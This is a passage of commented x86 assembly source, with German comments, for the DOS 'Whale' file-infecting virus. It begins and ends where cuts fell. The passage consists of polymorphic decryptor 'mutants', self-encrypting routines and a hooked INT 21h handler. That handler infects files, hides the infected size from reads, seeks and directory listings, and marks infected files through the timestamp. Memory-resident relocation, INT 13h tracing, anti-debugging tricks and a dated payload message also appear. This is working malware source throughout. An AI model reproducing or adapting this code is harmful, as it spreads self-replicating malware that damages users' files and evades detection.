30,mut_30 ;-------------------------------------------------------- Dw 8903h,0A5EFh,0CC14H J03EF2: RET dw 0c111h,0b4deh ;===================================================================== ;=====================================================( MUTANT # 8)=== ;===================================================================== mut_8 EQU $ PUSH BP ; = OFFSET 4BB5 INC BX DEC CX CALL J03F06 J03EFE: DEC CX NEG BYTE Ptr DS:[BX] ADD BX,+02h DEC CX J03F05: RETN J03F06: POP BP ; BP = J03F07: CALL J03EFE JZ J03F3C JMP J03F07 J03F0E: PUSH BP ;-------( einsprung )-------------- PUSH CS J03F10: CLC POP DS ; DS = CS CALL J03F38 ; BP = OFFSET $+3 J03F15: MOV CL,84h ; CX = xx84 SUB BP,23A1h ; BP = 2831 MOV BX,BP ; BX = 2831 MOV CH,23h ; CX = 2384 J03F1F: CALL J03EFE JNZ J03F1F ; = LOOP 3F1F MOV AX,BP ; AX=BP=2831 MOV BP,BX ; BX=4C00 ADD BP,008Eh ; BP= DEC BYTE PTR [BP+00h] ; POP BP ; BP=egal JZ J03F05 ; = RET PUSH ES POP DS PUSH AX ; AX=2831 MOV AX,CX ; AX = 0 J03F38: POP BP ; BP=2831 PUSH CS PUSH BP RETF ; JMP FAR CS:2830 J03F3C: POP BP POP BX POP CX CALL_INT21 8,mut_8 JMP J03F0E ;===================================================================== ;=====================================================( MUTANT #7 )=== ;===================================================================== Mut_7 EQU $ INC BX ; = OFFSET 4BB5 PUSH DX DEC CX J03F47: CALL J03F52 J03F4A: NOT BYTE Ptr DS:[BX] DEC CX ADD BX,+02h DEC CX RETN J03F52: POP DX J03F53: CALL J03F4A JZ J03F86 JMP J03F53 J03F5A: PUSH DX ;-------( einsprung )-------------- PUSH CS J03F5C: POP DS CALL J03F83 ; DX = J03F60: SUB DX,23A0h ; DX = MOV BX,DX ; BX = MOV CX,8423h XCHG CL,CH ; CX = 2384 J03F6B: CALL J03F4A JNZ J03F6B ; LOOP XCHG AX,DX ; AX = MOV DX,BX ; BX = , DX = BX ADD DX,008Eh ; DX = XCHG DX,BX ; BX = , DX = DEC BYTE Ptr DS:[BX] POP DX ; DX = ???? JZ J03F85 PUSH ES POP DS ; DS = ES PUSH AX XOR AX,AX ; AX = 0 J03F83: POP DX ; DX = PUSH DX J03F85: RETN ; JMP 2831 ;--------------------------------------------------------------- J03F86: POP DX ; POP BX POP CX J03F89: CALL_INT21 7,mut_7 XLAT ; MOV AL,[BX+AL] CLC J03F8E: JMP J03F5A ;===================================================================== ;===================================================( MUTANT # 12 )=== ;===================================================================== mut_12 EQU $ JMP SHORT J03FA0 ; = OFFSET 4BB5 J03F92: POP BX MOV AH,40h POP CX CALL_INT21 12,mut_12 ;========================================================== J03F99: JMP SHORT J03FA7 J03F9B: POP BX PUSH CS POP DS PUSH BX RETN J03FA0: CALL J03FCC JNZ J03FA0 JMP J03F92 ;-------( einsprung )-------------- J03FA7: CALL J03F9B J03FAA: MOV CX,239Fh ; BX = ; DS = CS SUB BX,CX ; CX = SUB CX,+1Ah ; CX = J03FB2: CALL J03FCC JNZ J03FB2 XOR BYTE Ptr DS:[BX+008Eh],01h JZ J03FCB CALL J03F9B J03FC1: SUB BX,23B4h ; BX = , BX <- DEC BX ; BX = MOV AX,CX PUSH BX ; PUSH ES POP DS J03FCB: RETN ; = JMP 2831 J03FCC: PUSH [BX] POP AX XOR [BX+02h],AL XOR [BX+01h],AL ADD BX,+03h SUB CX,+03h RETN ;===================================================================== ;===================================================( MUTANT # 11 )=== ;===================================================================== Mut_11 EQU $ JMP SHORT J03FEC ; = OFFSET 4BB5 J03FDE: POP BX POP CX MOV AH,40h CALL_int21 11,mut_11 JMP SHORT J03FF3 J03FE7: POP BX PUSH BX PUSH CS POP DS J03FEB: RETN J03FEC: CALL J04019 JNZ J03FEC JMP J03FDE ;-------( einsprung )-------------- J03FF3: CALL J03FE7 J03FF6: MOV AX,239Fh ; BX = SUB BX,AX ; BX = MOV CX,001Ah ; CX = XOR CX,AX ; CX = 2385 J04000: CALL J04019 JNZ J04000 XOR BYTE Ptr DS:[BX+008Eh],01h JZ J03FEB CALL J03FE7 J0400F: SUB BX,23B7h ; BX <- PUSH BX ; RET PUSH ES MOV AX,CX POP DS RETN J04019: MOV AH,[BX] XOR [BX+01h],AH XOR [BX+02h],AH ADD BX,+03h SUB CX,+03h RETN ;===================================================================== ;====================================================( MUTANT # 14)=== ;===================================================================== Mut_14 EQU $ JMP SHORT J04042 ; = OFFSET 4BB5 J0402A: POP AX MOV BX,AX POP AX PUSH SI MOV CX,AX PUSH word ptr DS:[@INT21] MOV AX,4000h ; Schreiben ! POP SI CALL SI ; CALL INT 21h POP SI STC NOP CLC ;-------( einsprung )-------------- JMP J04049 J04042: INC BYTE Ptr DS:[BX] INC BX LOOP J04042 JMP J0402A J04049: CALL J0406E MOV CX,Code_Len SUB BX,23A9h J04053: DEC BYTE Ptr DS:[BX] INC BX LOOP J04053 PUSH BP MOV BP,BX ADD BP,008Eh XOR AX,AX CMP BYTE PTR [BP+00h],01h POP BP JZ J04072 PUSH ES POP DS JMP_entry 14,mut_14 J0406E: PUSH CS J0406F: POP DS POP BX PUSH BX J04072: RETN DB 0CDh ;===================================================================== ;====================================================( MUTANT # 10)=== ;===================================================================== mut_10 EQU $ PUSH AX DEC CL JMP SHORT J0408F J04079: MOV AL,[BX] INC BX MOV AH,[BX] XCHG AL,AH MOV [BX-01h],AL DEC CX MOV [BX],AH INC BX XOR AX,AX DEC CX J0408A: RETN ;-------( einsprung )-------------- J0408B: PUSH CS POP DS JMP SHORT J040A2 J0408F: CALL J04079 CLC JNZ J0408F POP AX POP BX POP CX PUSH BP PUSH word ptr DS:[@INT21] POP BP CALL DS:BP ; CALL Int 21H POP BP J040A2: CALL J040A5 J040A5: MOV CX,2384h ; CX = 2384 POP BX ; BX = 40A5 SUB BX,23B6h ; BX = 1cef J040AD: CALL J04079 JNZ J040AD CMP BYTE Ptr DS:[BX+008Fh],01h CLD JZ J0408A PUSH ES J040BB: POP DS JMP_ENTRY 10,mut_10 DB 089h ;===================================================================== ;====================================================( MUTANT # 29)=== ;===================================================================== Mut_29 EQU $ DEC CX ; = OFFSET 4BB5 PUSH AX JMP SHORT J040DB J040C4: MOV AL,[BX] INC BX MOV AH,[BX] XCHG AH,AL MOV [BX-01h],AL MOV [BX],AH INC BX XOR AX,AX SUB CX,+02h J040D6: RETN ;-------( einsprung )-------------- J040D7: PUSH CS POP DS JMP SHORT J040F0 J040DB: CALL J040C4 JNZ J040DB POP AX POP BX STI POP CX PUSH word ptr DS:[@INT21] POP word ptr DS:[D259A] CALL WORD PTR DS:[D259A] ; CALL INT 21H J040F0: CALL J040F3 J040F3: POP BX ; BX = SUB BX,23B8h ; BX = MOV CX,2384h ; CX = 2384 J040FB: CALL J040C4 JNZ J040FB CMP BYTE Ptr DS:[BX+008Fh],01h JZ J040D6 J04107: PUSH ES POP DS JMP_ENTRY 29,mut_29 ;===================================================================== ;====================================================( MUTANT # 15)=== ;===================================================================== mut_15 EQU $ PUSH DX ; = OFFSET 4BB5 MOV DH,[BX-01h] PUSH AX J04111: MOV DL,[BX] DEC DH XOR [BX],DH XCHG DH,DL ADD BX,+01h LOOP J04111 POP CX POP AX JMP J04128 ;-------( einsprung )-------------- J04123: CALL J04126 J04126: JMP SHORT J04135 J04128: MOV DX,AX POP AX MOV BX,AX POP AX XCHG AX,CX CALL DS:[@INT21] ; CALL INT 21 JMP J04123 J04135: POP BX ; BX = MOV CX,Code_Len ; CX = 2385 PUSH CS SUB BX,239Fh ; BX = POP DS J0413F: MOV AL,[BX-01h] DEC AL XOR [BX],AL INC BX LOOP J0413F CMP BYTE Ptr DS:[BX+008Eh],01h ; JNZ J04151 RETN J04151: PUSH ES XOR AX,AX POP DS JMP_ENTRY 15,mut_15 ;===================================================================== ;=====================================================( MUTANT #6 )=== ;===================================================================== mut_6 EQU $ DEC CL ; = OFFSET 4BB5 J0415A: XOR BYTE Ptr DS:[BX],67h INC BX DEC CX INC BX DEC CX JNZ J0415A PUSH word ptr DS:[@INT21] POP word ptr DS:[D2598+1] POP BX POP CX JMP SHORT J04172 ;-------( einsprung )-------------- J0416F: CALL J041A1 J04172: CALL WORD PTR DS:[D2598+1] ; == call Int 21 JMP J0416F J04178: MOV AX,0002h ; AX = 0002 ADD BX,0DD61h ; BX = DEC BH ; BX = MOV CX,2184h ; CX = 2184 PUSH CS XOR CH,AL ; CX = 2386 POP DS J04188: XOR BYTE Ptr DS:[BX],67h DEC CX ADD BX,AX ; Jedes 2 byte verXORen DEC CX JNZ J04188 ; 11C3 (!!!) mal :) ADD BX,008Fh ; BX = DEC BYTE Ptr DS:[BX]; PUSH ES POP DS JNZ J0419C ; <- BX+8E RETN J0419C: MOV AX,CX JMP_ENTRY 6,mut_6 J041A1: POP BX JMP J04178 ;===================================================================== ;====================================================( MUTANT # 25)=== ;===================================================================== mut_25 EQU $ DEC CX ; = OFFSET 4BB5 J041A5: XOR BYTE Ptr DS:[BX],0E8h ADD BX,+02h SUB CX,+02h JNZ J041A5 POP BX PUSH word ptr DS:[@INT21] POP word ptr DS:[D2598] JMP SHORT J041BE ;-------( einsprung )-------------- J041BB: CALL J041EC J041BE: POP CX CALL [D2598] JMP J041BB J041C5: MOV AX,0002h ; AX = 2,BX = ADD BX,0DC61h ; BX = MOV CX,2386h ; CX = 2386 PUSH CS XOR CX,AX ; CX = 2384 POP DS J041D3: XOR BYTE Ptr DS:[BX],0E8h ADD BX,AX SUB CX,AX JNZ J041D3 ; BX = ADD BX,008Fh ; BX = DEC BYTE Ptr DS:[BX] PUSH ES POP DS JNZ J041E7 RETN J041E7: MOV AX,CX JMP_entry 25,mut_25 J041EC: POP BX JMP J041C5 db 33h ;===================================================================== ;=====================================================( MUTANT #4 )=== ;===================================================================== mut_4 EQU $ PUSH DX ; = OFFSET 4BB5 MOV DH,[BX-01] J041F4: MOV DL,[BX] XOR [BX],DH XCHG DH,DL ADD BX,+01h LOOP J041F4 POP DX STI POP BX POP CX CALL DS:[@INT21] ; CALL Int 21 ;----( einsprung )---- CALL J0420D J0420A: INC AX XOR BX,SI J0420D: OR SI,SI INC BH POP BX ; BX = SUB BX,23A1h ; BX = ADD BX,+02h ; BX = MOV CX,2485h DEC CH ; CX = 2385 PUSH CS POP DS J04220: MOV AL,[BX-01h] XOR [BX],AL INC BX LOOP J04220 ; BX = ADD BX,008Eh ; BX = XCHG BX,SI DEC BYTE Ptr DS:[SI] JNZ J04235 XCHG SI,BX RETN J04235: PUSH ES XOR AX,AX POP DS JMP_ENTRY 4,mut_4 ;===================================================================== ;====================================================( MUTANT #13 )=== ;===================================================================== mut_13 EQU $ PUSH DX ; = OFFSET 4BB5 MOV DH,[BX-01h] J04240: MOV DL,[BX] ADD [BX],DH XCHG DL,DH INC BX LOOP J04240 POP DX POP BX POP CX PUSH SI MOV SI,2567h DEC SI CALL [SI] ;--------( einsprung ) ------ CALL J04258 XOR BX,SI J04258: XOR SI,1876h POP BX POP SI SUB BX,Code_start ; BX = 2830 MOV CX,Code_Len ; CX = 2385 wal-size PUSH CS POP DS J04267: MOV AL,[BX-01h] SUB [BX],AL INC BX LOOP J04267 ADD BX,008Eh XCHG SI,BX DEC BYTE Ptr DS:[SI] JNZ J0427C XCHG BX,SI RETN J0427E equ $+3 ; SPRUNGZIEL FšR M#19, zeigt auf L0L0L0 J0427C: PUSH ES XOR AX,AX POP DS JMP_ENTRY 13,mut_13 DW 0CE8BH DW 05605H DB 34H ;===================================================================== ;====================================================( MUTANT # 19)=== ;===================================================================== mut_19 EQU $ PUSH AX ; = OFFSET 4BB5 J04289: XOR BYTE Ptr DS:[BX],05h INC BYTE Ptr DS:[BX] INC BX LOOP J04289 POP AX INC BX INC CX STD STC PUSH AX XLAT ; MOV AL,[BX+AL] POP AX POP BX POP CX CALL DS:[@INT21] ; CALL INT 21h ;-------( einsprung )-------------- CALL J042A5 J042A2: MOV BX,5601h J042A5: POP BX ; BX = SUB BX,239Fh ; BX = MOV CX,8934h MOV CX,code_len ; CX = 2385 PUSH CS PUSH AX MOV AX,0000h MOV DS,AX POP AX POP DS ; DS=CS ! J042B9: DEC BYTE Ptr DS:[BX] XOR BYTE Ptr DS:[BX],05h INC BX LOOP J042B9 MOV CX,0023h DEC BYTE Ptr DS:[BX+008Eh] JZ J0427E PUSH ES MOV CX,0000h POP DS JMP_ENTRY 19,mut_19 DW 0FBC3h ;===================================================================== ;=====================================================( MUTANT #2 )=== ;===================================================================== Mut_2 EQU $ PUSH AX ; = OFFSET 4BB5 XLAT ; MOV AL,[BX+AL] J042D6: XOR BYTE Ptr DS:[BX],10h ADD BX,+01h LOOP J042D6 POP AX POP BX POP CX PUSH SI MOV SI,Offset @INT21 CLC CALL [SI] ; CALL Int 21 CLC POP SI INC BX ;-------( einsprung )-------------- CALL J04317 J042EE: SUB BX,239Fh ; BX = MOV CX,2387h DEC CX STC DEC CX ; CX = 2385 J042F8: XOR BYTE Ptr DS:[BX],10h ADD BX,+01h LOOP J042F8 ; BX = MOV CX,BX MOV CX,008Eh ADD BX,CX ; BX = DEC BYTE Ptr DS:[BX] JZ J0430D JMP SHORT J0430E J0430D: RETN J0430E: PUSH ES MOV AX,0000h POP DS CLC JMP_ENTRY 2,mut_2 ;---------------- J04317: POP BX PUSH BX PUSH CS PUSH CX STC POP CX POP DS CLC RETN ;===================================================================== ;======================================================( MUTANT #9)=== ;===================================================================== Mut_9 EQU $ J04320: ADD BYTE Ptr DS:[BX],05h ; = OFFSET 4BB5 ADD BX,+01h LOOP J04320 POP BX INC CX POP CX PUSH SI MOV SI,Offset @INT21 CALL [SI] ; CALL INT 21 CLC POP SI INC DX PUSH AX POP DX NOP ;-------( einsprung )-------------- CALL J0433B J0433A: CLC J0433B: POP BX ; BX = SUB BX,239Fh ; BX = MOV CH,23h MOV CL,85h ; CX = 2385 CALL J04360 ; DS = CS J04347: SUB BYTE Ptr DS:[BX],05h INC BX CLC ADD DX,+12h LOOP J04347 ADD BX,008Eh ; BX = DEC BYTE Ptr DS:[BX] JNZ J04364 RETN INC BX ADD CX,0D7Ah XLAT ; MOV AL,[BX+AL] J04360: PUSH CS POP DS RETN DB 0A4H J04364: PUSH ES POP DS JMP_Entry 9,mut_9 DB 25H DB 26H DB 85h ;===================================================================== ;========================================( Kodiert 1274h... 1B5Ch )=== ;========================================( == 3A84 .. 436Ch )=== ;===================================================================== Code_3A84: MDECODE 68 J04371: MOV BX,Offset J03A84-Offset VirStart ; 1274h MOV CX,Offset Code_3A84-Offset J03A84 ; 08E8h J04377: IN AL,40h OR AL,00h JZ J04377 J0437D: XOR CS:[BX],AL INC BX LOOP J0437D CALL J04386 J04386: POP BX ADD BX,OFFSET XORBYTE_7D - Offset J04386 ; +1E ; GEGENSTUECK IST DORT ! MOV CS:[BX],AL MCODE 68 RETN ;===================================================================== ;======================================( Dekodiert 1274h... 1B5Ch )=== ;===================================================================== Decode_3A84: MOV BX,Offset J03A84-Offset VirStart ; 1274h MOV CX,Offset Code_3A84-Offset J03A84 ; 08E8h ;CALL J04984 ; wie ist es mit dem RET ??? CALL J043A1 ; muesste CALL 43A1 heissen . DB 90h DB 70h db 90h db 91h db 7dh db 73h J043A1: XOR BYTE PTR CS:[BX],00 ; <---- ! XORBYTE_7D EQU $-1 ; !!!!!!!! INC BX LOOP J043A1 RETN ;====================================================================== DB 02eh,0c7h,006h,099h DB 007h,000h,000h,0e8h ;================================================================== ;===========================================( Vorarbeiten )======== ;================================================================== J043B1: MDECODE 69 CALL Trace_int_13h PUSH DX MOV AH,36h ; Get free Space on Disk MOV DL,CS:[D2428] ; DL = Disk CALL CS:[@INT21] MUL CX MUL BX ; AX*BX*CX = Free space in Byte MOV BX,DX ; DX = Total Clusters on disk POP DX OR BX,BX MCODE 69 JNZ J043DA J043D5: CMP AX,4000h JB J0443D J043DA: MOV AX,4300h ; GET FILE-ATTRIBUT CALL CS:[@INT21] JB J0443D MDECODE 70 MOV CS:[D24F4],DX ; Offset Filename MOV CS:[D24F2],CX ; File-Attribut MOV CS:[D24F6],DS ; Segment Filename MOV AX,4301h ; SET File-Attribut XOR CX,CX CALL CS:[@INT21] CMP BYTE PTR CS:[Error],00h MCODE 70 JNZ J0443D MOV AX,3D02h ; OPEN FILE / HANDLE CALL CS:[@INT21] JB J0443D MDECODE 71 MOV BX,AX ; HANDLE NACH BX PUSH BX MOV AH,32h ; GET DISK INFO MOV DL,CS:[D2428] ; DRIVE NR. CALL CS:[@INT21] MOV AX,[BX+1Eh] ; DS:BX : DISK-INFO-BLOCK MOV CS:[D24EC],AX POP BX CALL J048CD MCODE 71 RETN DB 0B4h ;=================================================( Fehler melden )=== J0443D: MDECODE 72 xor bx,bx dec bx ; BX = 0ffffh call J048CD MCODE 72 ret ;===================================================================== ;================================================( INT 24-Handler )=== ;===================================================================== J0444D: MDECODE 73 XOR AL,AL MOV BYTE PTR CS:[Error],01h MCODE 73 IRET DB 8Ch ;===================================================================== ;==================================( Checkt die Uhrzeit des Files )=== ;===================================================================== CheckFileTime: MDECODE 74 PUSH CX PUSH DX PUSH AX MOV AX,4400h ; Get IOCTL-Dev.Info CALL CS:[@INT21] ; Handle in BX XOR DL,80h ; DL and 80h = 1: Device, ; DL and 80h = 0: Diskfile TEST DL,80h ; JZ J04483 ; es war KEIN Diskfile ! MOV AX,5700h ; Get File-Timestamp CALL CS:[@INT21] TEST CH,80h ; Stunde >= 16 ? J04483: POP AX POP DX POP CX MCODE 74 RETN DB 0F6h ;===================================================================== ;======================( von INT 3/21h angesprungen, falls AH=40h )=== ;===================================================================== J0448C: CMP Word PTR CS:[D2581],4 ; FILEHANDLE JB J044BA ; KEIN FILE ! PUSH CS POP BX SUB BH,20h ; 2 Segmente vor CS MOV AX,CS:[D257B] ; AX := SAVE-DS CMP AX,BX ; Ist SAVE-DS h”her JB J044BA ; als D257B, z.B. das MOV CS:[D257B],BX ; DS des COMMAND.COM JMP SHORT J044BA DB 0E8h ;===================================================================== ;=================================( von INT 3=INT 21 angesprungen )=== ;===================================================================== J044A9: SUB BYTE PTR CS:[SwapCode_7],52h PUSH CS:[D2579] ; SAVE-AX POP CX CMP CH,40h ; WRITE File ;============================================================= ;durch das obige "SUB BYTE PTR CS:[1CA8h]" wird folgender Code ;============================================================= SwitchByte EQU $ DB 0C6h ; aus 0c6h wird 074h, Spiel mit Queue! DB 0D2H ; es sind genau 8 Byte dazwischen..... ;============================================================= ; folgendermassen ver„ndert : ;============================================================= ; JZ J0448C ;============================================================= J044BA: POP Word Ptr DS:[000Eh] ; INT 3 restaurieren POP Word Ptr DS:[000Ch] ADD BYTE PTR CS:[SwapCode_7],52h CALL RestoreRegs JMP J02AFB ;===================================================================== ;=================================================( Get File-Size )=== ;===================================================================== GetFileSize: MDECODE 75 CALL SaveRegisters XOR CX,CX MOV AX,4201h ; SEEK von momentaner Position XOR DX,DX ; 0 (!) byte weiter CALL CS:[@INT21] MOV Word ptr CS:[FilePos+2],DX ; in DX:AX ist neue/alte Position MOV Word ptr CS:[FilePos ],AX MOV AX,4202h ; SEEK zum File-Ende XOR CX,CX XOR DX,DX CALL CS:[@INT21] MOV Word ptr CS:[FileSize+2],DX ; File-Laenge zurck MOV Word ptr CS:[FileSize ],AX MOV AX,4200h ; SEEK zur alten Position MOV DX,Word ptr CS:[FilePos ] MOV CX,Word ptr CS:[FilePos+2] CALL CS:[@INT21] CALL GetRegsFromVirstack MCODE 75 RETN ;===================================================================== ;======================================( INT 3 aus INT 21-Handler )=== ;===================================================================== J0451A: POP AX ; POP IP POP BX ; POP CS POP CX ; POP Flags JMP J044A9 ;===================================================================== ;=================================( Handler fr Get/Set Filedatum )=== ;===================================================================== J0451F: OR AL,AL ; GET File-Date ?? JNZ J04550 ; Nein, SET ! ;---------------------------------( get file-date )--- MDECODE 76 AND WORD PTR CS:[D24B3],0FFFEH ; clear CF CALL PopALL CALL CS:[@INT21] MCODE 76 JB J04547 TEST CH,80h ; FILE-STUNDE > 16 ? JZ J04544 SUB CH,80h ; Wenn ja, 16 abziehen J04544: JMP IRET_Int21h ; INT 21 beenden ;------------------------------------------------------ J04547: OR WORD PTR CS:[D24B3],+01h; SET CF des Callers JMP IRET_Int21h ;----------------------------------( set file-date )--- J04550: CMP AL,01h ; ist es 'set file date' ? JNZ J045CD ; Fehler im Walcode! ; CALL LOW-INT-21 MDECODE 77 AND WORD PTR CS:[D24B3],0FFFEH ; CF l”schen TEST CH,80h ; Stunde > 16 ? MCODE 77 JZ J0456B ; nein SUB CH,80h ; 16 abziehen J0456B: CALL CheckFileTime JZ J04573 ; kein DISK-File, ; oder Stunde < 16 ADD CH,80h ; sonst 16 addieren ;----------------- J04573: MDECODE 78 CALL CS:[@INT21] MOV [BP-04h],AX ; Errorcode ADC WORD PTR CS:[D24B3],+00h; = CLC MCODE 78 JMP J02EA3 ; fertig ;===================================================================== ;=====================================( geh”rt zum INT 21-Handler )=== ;===================================================================== J0458D: CALL SaveRegs IN AL,21h OR AL,02h OUT 21h,AL PUSH AX MOV AX,0000h MOV DS,AX POP AX PUSH Word Ptr DS:[000Ch] ; HOLE INT 3-Offset PUSH Word Ptr DS:[000Eh] ; HOLE INT 3-Segment PUSH CS POP Word Ptr DS:[000Eh] ; Setze INT 3 auf ; CS:01D0A / CS:451A MOV WORD Ptr DS:[000Ch],OFFSET J0451A-Offset VirStart INT 3 ; ** tricky ** ;--------------------------------------------------------------------- DB 83h ;===================================================================== ;=====================================( Handler fr SEEK / Handle )=== ;===================================================================== J045B2: MDECODE 79 J045B7: CMP AL,02h ; Seek File-ENDE ?? JNZ J045C9 ; alles andere ist uninteressant CALL CheckFileTime ; Ja ... JZ J045C9 SUB WORD Ptr [BP-0Ah],Code_len SBB WORD Ptr [BP-08h],+00h J045C9: MCODE 79 J045CD: JMP J02B8B ; CALL LOW-INT-21 ;===================================================================== ;=====================================================( AKTIV-MSG )=== ;===================================================================== J045D0: MDECODE 80 CALL PushALL MOV AH,2Ah ; GET DATE CALL CS:[@INT21] ;==========( Nur zwischen 18.Februar und 21. M„rz )=== CMP DH,02h ; MONAT FEBRUAR ? JZ J045EC ; Ja : welcher CMP DH,03h ; M„rz ? JZ J045F4 ; Ja : welcher JMP J04663 ; Nein : fertig J045EC: CMP DL,13h ; Nach dem 18. Februar ?? JNB J045FC ; JA -> MSG JMP J04663 ; NEIN -> fertig J045F4: CMP DL,15h ; VOR 21. M„rz ?? JB J045FC ; JA : MSG JMP J04663 ; NEIN : Fertig J045FC: JMP J0463D ;======================================================== D45FF: DB "THE WHALE IN SEARCH OF THE 8 FISH",0ah,0dh DB "I AM '~knzyvo}' IN HAMBURG$" ;======================================================== J0463D: MOV AH,09h PUSH CS POP DS MOV DX,Offset D45FF-Offset VirStart ; 1DFF CALL CS:[@INT21] ;==================================( schreibe HLT )=== MOV WORD PTR CS:[D2598],0F4F4h ; = HLT MOV BX,D2598 PUSHF PUSH CS PUSH BX XOR AX,AX MOV DS,AX MOV WORD Ptr DS:[0006h],0FFFFh CALL Debugger_Check ;----------------------------------------------------- J04663: CALL PopALL MCODE 80 RETN ;===================================================================== ;=================================( Handler fr READ FILE /Handle )=== ;===================================================================== J0466B: JMP J02B8B ; CALL LOW-INT-21 J0466E: AND BYTE PTR CS:[D24B3],0FEh; CF l”schen CALL CheckFileTime JZ J0466B ; entweder kein DISK-File, ; oder 'falsche' Uhrzeit MDECODE 81 MOV CS:[D24AD],DX ; Buffer merken MOV CS:[D24AF],CX ; Anzahl merken MOV WORD PTR CS:[D24B1],0000h CALL GetFileSize MOV AX,Word ptr CS:[FileSize ] MOV DX,Word ptr CS:[FileSize+2] SUB AX,Code_len SBB DX,+00h SUB AX,Word ptr CS:[FilePos ] SBB DX,Word ptr CS:[FilePos+2] MCODE 81 JNS J046B9 ; Lang genug fr den Wal MOV WORD Ptr [BP-04h],0000h JMP J031E7 ; fertig ;-------------------------------------------------------------------- J046B9: MDECODE 82 JNZ J046C8 ; JMP if Platz CMP AX,CX ; Mehr als Wal-L„nge ? JA J046C8 MOV CS:[D24AF],AX ; Dann eben mehr Byte lesen, ; als verlangt ! J046C8: MOV CX,WORD PTR CS:[FilePos+2] MOV DX,WORD PTR CS:[FilePos ] OR CX,CX ; Bin ich im 1. Segment ? MCODE 82 JNZ J046DF ; nein -> JMP CMP DX,+1Ch ; wenigstens hinter ; dem EXE-Header ? JBE J04704 ; JMP, wenn mittendrin ! ;-------------------------------------------------------------------- ;-----------------------------------------------( lese-Schleife )---- ;-------------------------------------------------------------------- J046DF: MDECODE 83 MOV DX,WORD PTR CS:[D24AD] ; Lese in DS:DX MOV AH,3Fh MOV CX,WORD PTR CS:[D24AF] ; Soviele Byte CALL CS:[@INT21] ADD AX,WORD PTR CS:[D24B1] ; Gesamtzahl gelesen MOV [BP-04h],AX MCODE 83 JMP J02EA3 ; fertig ;-------------------------------------------------------------------- J04704: MOV DI,DX ; Filepos MOV SI,DX ADD DI,WORD PTR CS:[D24AF] ; Anzahl zu lesender byte CMP DI,+1Ch ; Summe < 1Ch ? JB J04717 ; JMP wenn kleiner XOR DI,DI ; DI = 0 JMP SHORT J0471C ;-------------------------------------------------------------------- DB 0F7H ;-------------------------------------------------------------------- J04717: SUB DI,01CH ; DI ist z.B. 10H. ; SUB DI,1C : DI = FFF4 NEG DI ; NEG DI : DI = 000B J0471C: MDECODE 84 MOV AX,DX MOV DX,Word ptr CS:[FileSize ] MOV CX,Word ptr CS:[FileSize+2] ADD DX,+0Fh ; Einen Paragrafen weiter ADC CX,+00h AND DX,0FFEFH ; ergibt eine Rundung ; auf volle Paragrafen SUB DX,23FCh ; Wal-Size abziehen SBB CX,+00h ADD DX,AX ADC CX,+00h MOV AX,4200h ; SEEK from Start CALL CS:[@INT21] MOV CX,001Ch SUB CX,DI SUB CX,SI MOV AH,3Fh ; READ FILE MOV DX,CS:[D24AD] CALL CS:[@INT21] ADD CS:[D24AD],AX SUB CS:[D24AF],AX J04767: ADD CS:[D24B1],AX XOR CX,CX MOV AX,4200h ; SEEK from Start MOV DX,001Ch ; zur Position 1Ch CALL CS:[@INT21] MCODE 84 JMP J046DF ; zum n„chsten Teilstck ;===================================================================== ;=========================( Handler fr FindFirst/Findnext /ASCIIZ)=== ;===================================================================== J04780: MDECODE 85 AND WORD PTR CS:[D24B3],0FFFEH ; ZF l”schen CALL PopALL CALL CS:[@INT21] CALL PushALL MCODE 85 JNB J047A5 OR WORD PTR CS:[D24B3],+01h J047A0 EQU $-2 JMP J02EA3 ; fertig ;--------------------------; ;J047A0: AND AL,01 ; ; JMP J02EA3 ; ;--------------------------; J047A5: CALL GetDTA TEST BYTE Ptr DS:[BX+17h],80h JNZ J047B7 ; infiziert. Verschleiern ! JMP J02EA3 ; Fertig ;===================================================================== ;=====================================================( Trash !!! )=== ;===================================================================== J047B1: CLC INC DX PUSH DS POP ES PUSH DX JMP J047A0 ; DB 0EBH ; sind jetzt 2 Byte zuviel ;-------------------------------------( 'echter code 'berlappend )--- J047B7: MDECODE 86 SUB WORD Ptr DS:[BX+1Ah],Code_len SBB WORD Ptr DS:[BX+1Ch],+00h SUB BYTE Ptr DS:[BX+17h],80h MCODE 86 JMP J02EA3 ; fertig ;===================================================================== ;================================( Kopiert Wal in oberen Speicher )=== ;===================================================================== Wal_Ins_MEMTOP_Kopieren: MDECODE 87 CALL J03350 ; selbsttest ! PUSH CS ; ursprnglich "PUSH DS", ; geht aber nicht XOR AX,AX MOV DS,AX ;----------------------------------------------------- ; INT 3 wird auf 'IRET' im IBMBIO.COM gesetzt ! ;----------------------------------------------------- MOV WORD PTR DS:[000Eh],0070h MOV WORD PTR DS:[000Ch],0756h ; an Adresse 70h:756h POP DS MOV ES,[PSP_SEG] PUSH ES POP DS SUB WORD Ptr DS:[0002h],0270h; MEM-TOP neu festlegen MOV DX,DS ; 2700h Byte 'reservieren' DEC DX ; SIEHE ZEICHNUNG GANZ OBEN ! MOV DS,DX ; DS:0 zeigt auf MCB MOV AX,WORD PTR DS:[0003h] ; Hole Size des aktuellen MCB SUB AX,0270h ; und ziehe 2700h Byte AB ADD DX,AX ; DX ist jetzt "MEM-TOP" MOV WORD PTR DS:[0003h],AX ; MCB „ndern POP DI ; DI = 2947h INC DX ; 16 Byte h”her MOV ES,DX ; ES ist ZielSegment PUSH CS POP DS MOV SI,26FEh ; SI = 26FE MOV CX,1380h ; CX = 1380h (words) ; = 2760h (byte) ; = bis Stackende ! MOV DI,SI ; DI = SI STD XOR BX,BX ; BX = 0 MCODE 87 REPZ MOVSW ; fort ist er ! CLD ; erst jetzt ?!? PUSH ES ; Oberes Segment MOV AX,SchwimmZiel ; PUSH AX ; ZIEL IST ES:01B1h MOV ES,CS:[PSP_SEG] ; entsprechend CS:29C1h MOV CX,WischeWeg ; CX = 236C JMP Schwimme_Fort ; BX = 0 ;===================================================================== ;=================================================( TRACE INT 13h )=== ;===================================================================== Trace_int_13h: MDECODE 88 MOV BYTE PTR CS:[Error],00h CALL SaveRegisters PUSH CS MOV AL,13h POP DS CALL GetInt_AL MOV WORD PTR DS:[Trace_Adres+2],ES MOV WORD PTR DS:[Trace_Adres ],BX MOV WORD PTR DS:[@Int_13h+2],ES MOV DL,02h MOV WORD PTR DS:[@Int_13h ],BX MOV BYTE PTR DS:[D2450 ],DL ; DL=2, 2 bergehen CALL SetInt_01 MOV WORD PTR DS:[D24DF ],SP MOV WORD PTR DS:[D24DD ],SS PUSH CS MOV AX,Offset J0488D-Offset VirStart PUSH AX ; RETURNADRESSE fr RETF ist ; CS:J0207F, also CS:488D MOV AX,0070h MOV CX,0FFFFh ; Bis zum letzten Byte suchen ... MOV ES,AX XOR DI,DI MOV AL,0CBh ; SCANNT IBMBIO 